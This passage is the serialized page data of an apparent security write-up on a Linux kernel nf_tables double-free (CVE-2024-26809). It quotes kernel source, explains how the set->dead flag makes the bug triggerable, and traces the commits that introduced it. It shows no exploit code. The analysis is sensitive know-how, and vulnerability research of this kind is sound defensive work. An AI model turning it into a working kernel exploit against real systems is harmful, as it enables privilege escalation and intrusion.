list_del_init",{"type":21,"tag":153,"props":55304,"children":55305},{"style":160},[55306],{"type":26,"value":189},{"type":21,"tag":153,"props":55308,"children":55309},{"style":198},[55310],{"type":26,"value":1974},{"type":21,"tag":153,"props":55312,"children":55313},{"style":192},[55314],{"type":26,"value":53310},{"type":21,"tag":153,"props":55316,"children":55317},{"style":160},[55318],{"type":26,"value":2953},{"type":21,"tag":153,"props":55320,"children":55321},{"style":192},[55322],{"type":26,"value":55012},{"type":21,"tag":153,"props":55324,"children":55325},{"style":160},[55326],{"type":26,"value":530},{"type":21,"tag":153,"props":55328,"children":55329},{"class":155,"line":533},[55330],{"type":21,"tag":153,"props":55331,"children":55332},{"emptyLinePlaceholder":16},[55333],{"type":26,"value":759},{"type":21,"tag":153,"props":55335,"children":55336},{"class":155,"line":542},[55337,55341,55345,55349,55353,55357,55361,55365,55369,55373,55378,55382,55386,55390],{"type":21,"tag":153,"props":55338,"children":55339},{"style":1751},[55340],{"type":26,"value":34089},{"type":21,"tag":153,"props":55342,"children":55343},{"style":160},[55344],{"type":26,"value":5820},{"type":21,"tag":153,"props":55346,"children":55347},{"style":198},[55348],{"type":26,"value":23315},{"type":21,"tag":153,"props":55350,"children":55351},{"style":192},[55352],{"type":26,"value":53310},{"type":21,"tag":153,"props":55354,"children":55355},{"style":160},[55356],{"type":26,"value":2953},{"type":21,"tag":153,"props":55358,"children":55359},{"style":192},[55360],{"type":26,"value":54961},{"type":21,"tag":153,"props":55362,"children":55363},{"style":160},[55364],{"type":26,"value":2953},{"type":21,"tag":153,"props":55366,"children":55367},{"style":192},[55368],{"type":26,"value":54970},{"type":21,"tag":153,"props":55370,"children":55371},{"style":198},[55372],{"type":26,"value":26394},{"type":21,"tag":153,"props":55374,"children":55375},{"style":192},[55376],{"type":26,"value":55377}," set",{"type":21,"tag":153,"props":55379,"children":55380},{"style":160},[55381],{"type":26,"value":2953},{"type":21,"tag":153,"props":55383,"children":55384},{"style":192},[55385],{"type":26,"value":54780},{"type":21,"tag":153,"props":55387,"children":55388},{"style":160},[55389],{"type":26,"value":2071},{"type":21,"tag":153,"props":55391,"children":55392},{"style":3050},[55393],{"type":26,"value":55394}," // [4]\n",{"type":21,"tag":153,"props":55396,"children":55397},{"class":155,"line":762},[55398,55402],{"type":21,"tag":153,"props":55399,"children":55400},{"style":1751},[55401],{"type":26,"value":53782},{"type":21,"tag":153,"props":55403,"children":55404},{"style":160},[55405],{"type":26,"value":1759},{"type":21,"tag":153,"props":55407,"children":55408},{"class":155,"line":776},[55409],{"type":21,"tag":153,"props":55410,"children":55411},{"emptyLinePlaceholder":16},[55412],{"type":26,"value":759},{"type":21,"tag":153,"props":55414,"children":55415},{"class":155,"line":795},[55416,55421,55425,55429,55433,55437,55442],{"type":21,"tag":153,"props":55417,"children":55418},{"style":192},[55419],{"type":26,"value":55420},"  set",{"type":21,"tag":153,"props":55422,"children":55423},{"style":160},[55424],{"type":26,"value":2953},{"type":21,"tag":153,"props":55426,"children":55427},{"style":192},[55428],{"type":26,"value":54961},{"type":21,"tag":153,"props":55430,"children":55431},{"style":160},[55432],{"type":26,"value":2953},{"type":21,"tag":153,"props":55434,"children":55435},{"style":181},[55436],{"type":26,"value":54970},{"type":21,"tag":153,"props":55438,"children":55439},{"style":160},[55440],{"type":26,"value":55441},"(set);",{"type":21,"tag":153,"props":55443,"children":55444},{"style":3050},[55445],{"type":26,"value":55446}," // [5]\n",{"type":21,"tag":153,"props":55448,"children":55449},{"class":155,"line":808},[55450],{"type":21,"tag":153,"props":55451,"children":55452},{"style":160},[55453],{"type":26,"value":12318},{"type":21,"tag":153,"props":55455,"children":55456},{"class":155,"line":820},[55457],{"type":21,"tag":153,"props":55458,"children":55459},{"style":160},[55460],{"type":26,"value":548},{"type":21,"tag":22,"props":55462,"children":55463},{},[55464,55466,55472,55474,55479,55480,55485],{"type":26,"value":55465},"Later on, the ",{"type":21,"tag":78,"props":55467,"children":55469},{"className":55468},[],[55470],{"type":26,"value":55471},"nf_tables_commit_release()",{"type":26,"value":55473}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":21,"tag":78,"props":55475,"children":55477},{"className":55476},[],[55478],{"type":26,"value":53310},{"type":26,"value":54630},{"type":21,"tag":78,"props":55481,"children":55483},{"className":55482},[],[55484],{"type":26,"value":54644},{"type":26,"value":55486}," method.",{"type":21,"tag":143,"props":55488,"children":55490},{"className":19212,"code":55489,"language":5896,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[55491],{"type":21,"tag":78,"props":55492,"children":55493},{"__ignoreMap":7},[55494,55533,55540,55547,55568,55575,55582,55589,55630,55637,55644,55665,55678,55690,55697,55704,55711,55752,55759,55787,55794,55807,55819,55860,55867,55874,55881,55939,55946,55953,55982,55989],{"type":21,"tag":153,"props":55495,"children":55496},{"class":155,"line":156},[55497,55501,55505,55509,55513,55517,55521,55525,55529],{"type":21,"tag":153,"props":55498,"children":55499},{"style":170},[55500],{"type":26,"value":53335},{"type":21,"tag":153,"props":55502,"children":55503},{"style":170},[55504],{"type":26,"value":53340},{"type":21,"tag":153,"props":55506,"children":55507},{"style":181},[55508],{"type":26,"value":55137},{"type":21,"tag":153,"props":55510,"children":55511},{"style":160},[55512],{"type":26,"value":189},{"type":21,"tag":153,"props":55514,"children":55515},{"style":170},[55516],{"type":26,"value":12123},{"type":21,"tag":153,"props":55518,"children":55519},{"style":160},[55520],{"type":26,"value":54293},{"type":21,"tag":153,"props":55522,"children":55523},{"style":198},[55524],{"type":26,"value":313},{"type":21,"tag":153,"props":55526,"children":55527},{"style":192},[55528],{"type":26,"value":54302},{"type":21,"tag":153,"props":55530,"children":55531},{"style":160},[55532],{"type":26,"value":5909},{"type":21,"tag":153,"props":55534,"children":55535},{"class":155,"line":166},[55536],{"type":21,"tag":153,"props":55537,"children":55538},{"style":160},[55539],{"type":26,"value":13601},{"type":21,"tag":153,"props":55541,"children":55542},{"class":155,"line":225},[55543],{"type":21,"tag":153,"props":55544,"children":55545},{"style":160},[55546],{"type":26,"value":13038},{"type":21,"tag":153,"props":55548,"children":55549},{"class":155,"line":239},[55550,55555,55559,55563],{"type":21,"tag":153,"props":55551,"children":55552},{"style":181},[55553],{"type":26,"value":55554}," schedule_work",{"type":21,"tag":153,"props":55556,"children":55557},{"style":160},[55558],{"type":26,"value":189},{"type":21,"tag":153,"props":55560,"children":55561},{"style":198},[55562],{"type":26,"value":1974},{"type":21,"tag":153,"props":55564,"children":55565},{"style":160},[55566],{"type":26,"value":55567},"trans_destroy_work);\n",{"type":21,"tag":153,"props":55569,"children":55570},{"class":155,"line":382},[55571],{"type":21,"tag":153,"props":55572,"children":55573},{"style":160},[55574],{"type":26,"value":13038},{"type":21,"tag":153,"props":55576,"children":55577},{"class":155,"line":501},[55578],{"type":21,"tag":153,"props":55579,"children":55580},{"style":160},[55581],{"type":26,"value":548},{"type":21,"tag":153,"props":55583,"children":55584},{"class":155,"line":533},[55585],{"type":21,"tag":153,"props":55586,"children":55587},{"style":160},[55588],{"type":26,"value":13038},{"type":21,"tag":153,"props":55590,"children":55591},{"class":155,"line":542},[55592,55596,55600,55605,55609,55613,55618,55622,55626],{"type":21,"tag":153,"props":55593,"children":55594},{"style":170},[55595],{"type":26,"value":53335},{"type":21,"tag":153,"props":55597,"children":55598},{"style":170},[55599],{"type":26,"value":53340},{"type":21,"tag":153,"props":55601,"children":55602},{"style":181},[55603],{"type":26,"value":55604}," nf_tables_trans_destroy_work",{"type":21,"tag":153,"props":55606,"children":55607},{"style":160},[55608],{"type":26,"value":189},{"type":21,"tag":153,"props":55610,"children":55611},{"style":170},[55612],{"type":26,"value":12123},{"type":21,"tag":153,"props":55614,"children":55615},{"style":160},[55616],{"type":26,"value":55617}," work_struct ",{"type":21,"tag":153,"props":55619,"children":55620},{"style":198},[55621],{"type":26,"value":313},{"type":21,"tag":153,"props":55623,"children":55624},{"style":192},[55625],{"type":26,"value":51862},{"type":21,"tag":153,"props":55627,"children":55628},{"style":160},[55629],{"type":26,"value":5909},{"type":21,"tag":153,"props":55631,"children":55632},{"class":155,"line":762},[55633],{"type":21,"tag":153,"props":55634,"children":55635},{"style":160},[55636],{"type":26,"value":13601},{"type":21,"tag":153,"props":55638,"children":55639},{"class":155,"line":776},[55640],{"type":21,"tag":153,"props":55641,"children":55642},{"style":160},[55643],{"type":26,"value":13038},{"type":21,"tag":153,"props":55645,"children":55646},{"class":155,"line":795},[55647,55651,55656,55660],{"type":21,"tag":153,"props":55648,"children":55649},{"style":181},[55650],{"type":26,"value":55289},{"type":21,"tag":153,"props":55652,"children":55653},{"style":160},[55654],{"type":26,"value":55655},"(trans, next, ",{"type":21,"tag":153,"props":55657,"children":55658},{"style":198},[55659],{"type":26,"value":1974},{"type":21,"tag":153,"props":55661,"children":55662},{"style":160},[55663],{"type":26,"value":55664},"head, list) {\n",{"type":21,"tag":153,"props":55666,"children":55667},{"class":155,"line":808},[55668,55673],{"type":21,"tag":153,"props":55669,"children":55670},{"style":181},[55671],{"type":26,"value":55672},"  nft_trans_list_del",{"type":21,"tag":153,"props":55674,"children":55675},{"style":160},[55676],{"type":26,"value":55677},"(trans);\n",{"type":21,"tag":153,"props":55679,"children":55680},{"class":155,"line":820},[55681,55686],{"type":21,"tag":153,"props":55682,"children":55683},{"style":181},[55684],{"type":26,"value":55685},"  nft_commit_release",{"type":21,"tag":153,"props":55687,"children":55688},{"style":160},[55689],{"type":26,"value":55677},{"type":21,"tag":153,"props":55691,"children":55692},{"class":155,"line":842},[55693],{"type":21,"tag":153,"props":55694,"children":55695},{"style":160},[55696],{"type":26,"value":12318},{"type":21,"tag":153,"props":55698,"children":55699},{"class":155,"line":3204},[55700],{"type":21,"tag":153,"props":55701,"children":55702},{"style":160},[55703],{"type":26,"value":548},{"type":21,"tag":153,"props":55705,"children":55706},{"class":155,"line":3230},[55707],{"type":21,"tag":153,"props":55708,"children":55709},{"style":160},[55710],{"type":26,"value":13038},{"type":21,"tag":153,"props":55712,"children":55713},{"class":155,"line":3239},[55714,55718,55722,55727,55731,55735,55740,55744,55748],{"type":21,"tag":153,"props":55715,"children":55716},{"style":170},[55717],{"type":26,"value":53335},{"type":21,"tag":153,"props":55719,"children":55720},{"style":170},[55721],{"type":26,"value":53340},{"type":21,"tag":153,"props":55723,"children":55724},{"style":181},[55725],{"type":26,"value":55726}," nft_commit_release",{"type":21,"tag":153,"props":55728,"children":55729},{"style":160},[55730],{"type":26,"value":189},{"type":21,"tag":153,"props":55732,"children":55733},{"style":170},[55734],{"type":26,"value":12123},{"type":21,"tag":153,"props":55736,"children":55737},{"style":160},[55738],{"type":26,"value":55739}," nft_trans ",{"type":21,"tag":153,"props":55741,"children":55742},{"style":198},[55743],{"type":26,"value":313},{"type":21,"tag":153,"props":55745,"children":55746},{"style":192},[55747],{"type":26,"value":54852},{"type":21,"tag":153,"props":55749,"children":55750},{"style":160},[55751],{"type":26,"value":5909},{"type":21,"tag":153,"props":55753,"children":55754},{"class":155,"line":3253},[55755],{"type":21,"tag":153,"props":55756,"children":55757},{"style":160},[55758],{"type":26,"value":13601},{"type":21,"tag":153,"props":55760,"children":55761},{"class":155,"line":3301},[55762,55767,55771,55775,55779,55783],{"type":21,"tag":153,"props":55763,"children":55764},{"style":1751},[55765],{"type":26,"value":55766}," switch",{"type":21,"tag":153,"props":55768,"children":55769},{"style":160},[55770],{"type":26,"value":5820},{"type":21,"tag":153,"props":55772,"children":55773},{"style":192},[55774],{"type":26,"value":54852},{"type":21,"tag":153,"props":55776,"children":55777},{"style":160},[55778],{"type":26,"value":2953},{"type":21,"tag":153,"props":55780,"children":55781},{"style":192},[55782],{"type":26,"value":54890},{"type":21,"tag":153,"props":55784,"children":55785},{"style":160},[55786],{"type":26,"value":2659},{"type":21,"tag":153,"props":55788,"children":55789},{"class":155,"line":3346},[55790],{"type":21,"tag":153,"props":55791,"children":55792},{"style":160},[55793],{"type":26,"value":13038},{"type":21,"tag":153,"props":55795,"children":55796},{"class":155,"line":3355},[55797,55802],{"type":21,"tag":153,"props":55798,"children":55799},{"style":1751},[55800],{"type":26,"value":55801}," case",{"type":21,"tag":153,"props":55803,"children":55804},{"style":160},[55805],{"type":26,"value":55806}," NFT_MSG_DELSET:\n",{"type":21,"tag":153,"props":55808,"children":55809},{"class":155,"line":3364},[55810,55814],{"type":21,"tag":153,"props":55811,"children":55812},{"style":1751},[55813],{"type":26,"value":55801},{"type":21,"tag":153,"props":55815,"children":55816},{"style":160},[55817],{"type":26,"value":55818}," NFT_MSG_DESTROYSET:\n",{"type":21,"tag":153,"props":55820,"children":55821},{"class":155,"line":3376},[55822,55827,55831,55835,55839,55843,55847,55851,55855],{"type":21,"tag":153,"props":55823,"children":55824},{"style":181},[55825],{"type":26,"value":55826},"  nft_set_destroy",{"type":21,"tag":153,"props":55828,"children":55829},{"style":160},[55830],{"type":26,"value":189},{"type":21,"tag":153,"props":55832,"children":55833},{"style":198},[55834],{"type":26,"value":1974},{"type":21,"tag":153,"props":55836,"children":55837},{"style":160},[55838],{"type":26,"value":54852},{"type":21,"tag":153,"props":55840,"children":55841},{"style":198},[55842],{"type":26,"value":2953},{"type":21,"tag":153,"props":55844,"children":55845},{"style":192},[55846],{"type":26,"value":1882},{"type":21,"tag":153,"props":55848,"children":55849},{"style":160},[55850],{"type":26,"value":1670},{"type":21,"tag":153,"props":55852,"children":55853},{"style":181},[55854],{"type":26,"value":54818},{"type":21,"tag":153,"props":55856,"children":55857},{"style":160},[55858],{"type":26,"value":55859},"(trans));\n",{"type":21,"tag":153,"props":55861,"children":55862},{"class":155,"line":3393},[55863],{"type":21,"tag":153,"props":55864,"children":55865},{"style":160},[55866],{"type":26,"value":13038},{"type":21,"tag":153,"props":55868,"children":55869},{"class":155,"line":3405},[55870],{"type":21,"tag":153,"props":55871,"children":55872},{"style":160},[55873],{"type":26,"value":548},{"type":21,"tag":153,"props":55875,"children":55876},{"class":155,"line":3427},[55877],{"type":21,"tag":153,"props":55878,"children":55879},{"style":160},[55880],{"type":26,"value":13038},{"type":21,"tag":153,"props":55882,"children":55883},{"class":155,"line":3448},[55884,55888,55892,55897,55901,55905,55909,55913,55917,55922,55926,55930,55934],{"type":21,"tag":153,"props":55885,"children":55886},{"style":170},[55887],{"type":26,"value":53335},{"type":21,"tag":153,"props":55889,"children":55890},{"style":170},[55891],{"type":26,"value":53340},{"type":21,"tag":153,"props":55893,"children":55894},{"style":181},[55895],{"type":26,"value":55896}," nft_set_destroy",{"type":21,"tag":153,"props":55898,"children":55899},{"style":160},[55900],{"type":26,"value":189},{"type":21,"tag":153,"props":55902,"children":55903},{"style":170},[55904],{"type":26,"value":5085},{"type":21,"tag":153,"props":55906,"children":55907},{"style":170},[55908],{"type":26,"value":23844},{"type":21,"tag":153,"props":55910,"children":55911},{"style":160},[55912],{"type":26,"value":53362},{"type":21,"tag":153,"props":55914,"children":55915},{"style":198},[55916],{"type":26,"value":313},{"type":21,"tag":153,"props":55918,"children":55919},{"style":160},[55920],{"type":26,"value":55921},"ctx, ",{"type":21,"tag":153,"props":55923,"children":55924},{"style":170},[55925],{"type":26,"value":12123},{"type":21,"tag":153,"props":55927,"children":55928},{"style":160},[55929],{"type":26,"value":53390},{"type":21,"tag":153,"props":55931,"children":55932},{"style":198},[55933],{"type":26,"value":313},{"type":21,"tag":153,"props":55935,"children":55936},{"style":160},[55937],{"type":26,"value":55938},"set)\n",{"type":21,"tag":153,"props":55940,"children":55941},{"class":155,"line":3456},[55942],{"type":21,"tag":153,"props":55943,"children":55944},{"style":160},[55945],{"type":26,"value":13601},{"type":21,"tag":153,"props":55947,"children":55948},{"class":155,"line":3493},[55949],{"type":21,"tag":153,"props":55950,"children":55951},{"style":160},[55952],{"type":26,"value":13038},{"type":21,"tag":153,"props":55954,"children":55955},{"class":155,"line":3509},[55956,55960,55964,55968,55972,55977],{"type":21,"tag":153,"props":55957,"children":55958},{"style":192},[55959],{"type":26,"value":55377},{"type":21,"tag":153,"props":55961,"children":55962},{"style":160},[55963],{"type":26,"value":2953},{"type":21,"tag":153,"props":55965,"children":55966},{"style":192},[55967],{"type":26,"value":54961},{"type":21,"tag":153,"props":55969,"children":55970},{"style":160},[55971],{"type":26,"value":2953},{"type":21,"tag":153,"props":55973,"children":55974},{"style":181},[55975],{"type":26,"value":55976},"destroy",{"type":21,"tag":153,"props":55978,"children":55979},{"style":160},[55980],{"type":26,"value":55981},"(ctx, set);\n",{"type":21,"tag":153,"props":55983,"children":55984},{"class":155,"line":3517},[55985],{"type":21,"tag":153,"props":55986,"children":55987},{"style":160},[55988],{"type":26,"value":13038},{"type":21,"tag":153,"props":55990,"children":55991},{"class":155,"line":3526},[55992],{"type":21,"tag":153,"props":55993,"children":55994},{"style":160},[55995],{"type":26,"value":548},{"type":21,"tag":22,"props":55997,"children":55998},{},[55999,56001,56006,56008,56013,56015,56021,56023,56028,56030,56035,56037,56041,56043,56048,56049,56053,56055,56061],{"type":26,"value":56000},"It may appear as if it would be impossible to make ",{"type":21,"tag":78,"props":56002,"children":56004},{"className":56003},[],[56005],{"type":26,"value":53264},{"type":26,"value":56007}," true in the release step because the ",{"type":21,"tag":78,"props":56009,"children":56011},{"className":56010},[],[56012],{"type":26,"value":54636},{"type":26,"value":56014}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":21,"tag":78,"props":56016,"children":56018},{"className":56017},[],[56019],{"type":26,"value":56020},"set->dead",{"type":26,"value":56022}," flag. If a ",{"type":21,"tag":78,"props":56024,"children":56026},{"className":56025},[],[56027],{"type":26,"value":53310},{"type":26,"value":56029}," was marked for deletion, it receives the ",{"type":21,"tag":78,"props":56031,"children":56033},{"className":56032},[],[56034],{"type":26,"value":56020},{"type":26,"value":56036}," flag ",{"type":21,"tag":153,"props":56038,"children":56039},{},[56040],{"type":26,"value":5873},{"type":26,"value":56042},". If this flag is set, then the commit path will skip any commitments to this ",{"type":21,"tag":78,"props":56044,"children":56046},{"className":56045},[],[56047],{"type":26,"value":53310},{"type":26,"value":9187},{"type":21,"tag":153,"props":56050,"children":56051},{},[56052],{"type":26,"value":4104},{"type":26,"value":56054},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":21,"tag":78,"props":56056,"children":56058},{"className":56057},[],[56059],{"type":26,"value":56060},"priv ->dirty",{"type":26,"value":56062}," flag is not cleared when it should have been.",{"type":21,"tag":66,"props":56064,"children":56066},{"id":56065},"tracing-the-guilty-commit",[56067],{"type":26,"value":56068},"Tracing the guilty commit",{"type":21,"tag":22,"props":56070,"children":56071},{},[56072,56074,56081,56083,56089,56091,56096,56098,56104],{"type":26,"value":56073},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":21,"tag":29,"props":56075,"children":56078},{"href":56076,"rel":56077},"https://ubuntu.com/security/CVE-2024-26809",[33],[56079],{"type":26,"value":56080},"advisories",{"type":26,"value":56082}," about this vulnerability will say it was introduced by this ",{"type":21,"tag":29,"props":56084,"children":56087},{"href":56085,"rel":56086},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[33],[56088],{"type":26,"value":54970},{"type":26,"value":56090},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":21,"tag":78,"props":56092,"children":56094},{"className":56093},[],[56095],{"type":26,"value":56020},{"type":26,"value":56097}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":21,"tag":29,"props":56099,"children":56102},{"href":56100,"rel":56101},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[33],[56103],{"type":26,"value":54970},{"type":26,"value":355},{"type":21,"tag":22,"props":56106,"children":56107},{},[56108],{"type":26,"value":56109},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":21,"tag":143,"props":56111,"children":56115},{"className":56112,"code":56113,"language":56114,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[56116],{"type":21,"tag":78,"props":56117,"children":56118},{"__ignoreMap":7},[56119,56127,56135,56142,56150,56158,56165,56173,56180,56188,56196,56203,56211,56219,56227,56235,56243,56251,56259,56267,56275,56282,56290,56298,56305,56313,56321,56329,56337,56345,56352,56360,56368],{"type":21,"tag":153,"props":56120,"children":56121},{"class":155,"line":156},[56122],{"type":21,"tag":153,"props":56123,"children":56124},{},[56125],{"type":26,"value":56126},"New elements that reside in the clone are not released in case that the\n",{"type":21,"tag":153,"props":56128,"children":56129},{"class":155,"line":166},[56130],{"type":21,"tag":153,"props":56131,"children":56132},{},[56133],{"type":26,"value":56134},"transaction is aborted.\n",{"type":21,"tag":153,"props":56136,"children":56137},{"class":155,"line":225},[56138],{"type":21,"tag":153,"props":56139,"children":56140},{"emptyLinePlaceholder":16},[56141],{"type":26,"value":759},{"type":21,"tag":153,"props":56143,"children":56144},{"class":155,"line":239},[56145],{"type":21,"tag":153,"props":56146,"children":56147},{},[56148],{"type":26,"value":56149},"[16302.231754] ------------[ cut here ]------------\n",{"type":21,"tag":153,"props":56151,"children":56152},{"class":155,"line":382},[56153],{"type":21,"tag":153,"props":56154,"children":56155},{},[56156],{"type":26,"value":56157},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":153,"props":56159,"children":56160},{"class":155,"line":501},[56161],{"type":21,"tag":153,"props":56162,"children":56163},{},[56164],{"type":26,"value":13038},{"type":21,"tag":153,"props":56166,"children":56167},{"class":155,"line":533},[56168],{"type":21,"tag":153,"props":56169,"children":56170},{},[56171],{"type":26,"value":56172},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":21,"tag":153,"props":56174,"children":56175},{"class":155,"line":542},[56176],{"type":21,"tag":153,"props":56177,"children":56178},{},[56179],{"type":26,"value":13038},{"type":21,"tag":153,"props":56181,"children":56182},{"class":155,"line":762},[56183],{"type":21,"tag":153,"props":56184,"children":56185},{},[56186],{"type":26,"value":56187},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":153,"props":56189,"children":56190},{"class":155,"line":776},[56191],{"type":21,"tag":153,"props":56192,"children":56193},{},[56194],{"type":26,"value":56195},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":21,"tag":153,"props":56197,"children":56198},{"class":155,"line":795},[56199],{"type":21,"tag":153,"props":56200,"children":56201},{},[56202],{"type":26,"value":13038},{"type":21,"tag":153,"props":56204,"children":56205},{"class":155,"line":808},[56206],{"type":21,"tag":153,"props":56207,"children":56208},{},[56209],{"type":26,"value":56210},"[16302.231917] Call Trace:\n",{"type":21,"tag":153,"props":56212,"children":56213},{"class":155,"line":820},[56214],{"type":21,"tag":153,"props":56215,"children":56216},{},[56217],{"type":26,"value":56218},"[16302.231919]  \u003CTASK>\n",{"type":21,"tag":153,"props":56220,"children":56221},{"class":155,"line":842},[56222],{"type":21,"tag":153,"props":56223,"children":56224},{},[56225],{"type":26,"value":56226},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":21,"tag":153,"props":56228,"children":56229},{"class":155,"line":3204},[56230],{"type":21,"tag":153,"props":56231,"children":56232},{},[56233],{"type":26,"value":56234},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":21,"tag":153,"props":56236,"children":56237},{"class":155,"line":3230},[56238],{"type":21,"tag":153,"props":56239,"children":56240},{},[56241],{"type":26,"value":56242},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":21,"tag":153,"props":56244,"children":56245},{"class":155,"line":3239},[56246],{"type":21,"tag":153,"props":56247,"children":56248},{},[56249],{"type":26,"value":56250},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":21,"tag":153,"props":56252,"children":56253},{"class":155,"line":3253},[56254],{"type":21,"tag":153,"props":56255,"children":56256},{},[56257],{"type":26,"value":56258},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":21,"tag":153,"props":56260,"children":56261},{"class":155,"line":3301},[56262],{"type":21,"tag":153,"props":56263,"children":56264},{},[56265],{"type":26,"value":56266},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":21,"tag":153,"props":56268,"children":56269},{"class":155,"line":3346},[56270],{"type":21,"tag":153,"props":56271,"children":56272},{},[56273],{"type":26,"value":56274},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":21,"tag":153,"props":56276,"children":56277},{"class":155,"line":3355},[56278],{"type":21,"tag":153,"props":56279,"children":56280},{"emptyLinePlaceholder":16},[56281],{"type":26,"value":759},{"type":21,"tag":153,"props":56283,"children":56284},{"class":155,"line":3364},[56285],{"type":21,"tag":153,"props":56286,"children":56287},{},[56288],{"type":26,"value":56289},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":21,"tag":153,"props":56291,"children":56292},{"class":155,"line":3376},[56293],{"type":21,"tag":153,"props":56294,"children":56295},{},[56296],{"type":26,"value":56297},"elements in the lookup tables.\n",{"type":21,"tag":153,"props":56299,"children":56300},{"class":155,"line":3393},[56301],{"type":21,"tag":153,"props":56302,"children":56303},{"emptyLinePlaceholder":16},[56304],{"type":26,"value":759},{"type":21,"tag":153,"props":56306,"children":56307},{"class":155,"line":3405},[56308],{"type":21,"tag":153,"props":56309,"children":56310},{},[56311],{"type":26,"value":56312},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":21,"tag":153,"props":56314,"children":56315},{"class":155,"line":3427},[56316],{"type":21,"tag":153,"props":56317,"children":56318},{},[56319],{"type":26,"value":56320},"cloned matching data if priv->dirty is set, because that means that\n",{"type":21,"tag":153,"props":56322,"children":56323},{"class":155,"line":3448},[56324],{"type":21,"tag":153,"props":56325,"children":56326},{},[56327],{"type":26,"value":56328},"cloned data might point to additional elements we did not commit to the\n",{"type":21,"tag":153,"props":56330,"children":56331},{"class":155,"line":3456},[56332],{"type":21,"tag":153,"props":56333,"children":56334},{},[56335],{"type":26,"value":56336},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":21,"tag":153,"props":56338,"children":56339},{"class":155,"line":3493},[56340],{"type":21,"tag":153,"props":56341,"children":56342},{},[56343],{"type":26,"value":56344},"to it).\"\n",{"type":21,"tag":153,"props":56346,"children":56347},{"class":155,"line":3509},[56348],{"type":21,"tag":153,"props":56349,"children":56350},{"emptyLinePlaceholder":16},[56351],{"type":26,"value":759},{"type":21,"tag":153,"props":56353,"children":56354},{"class":155,"line":3517},[56355],{"type":21,"tag":153,"props":56356,"children":56357},{},[56358],{"type":26,"value":56359},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary 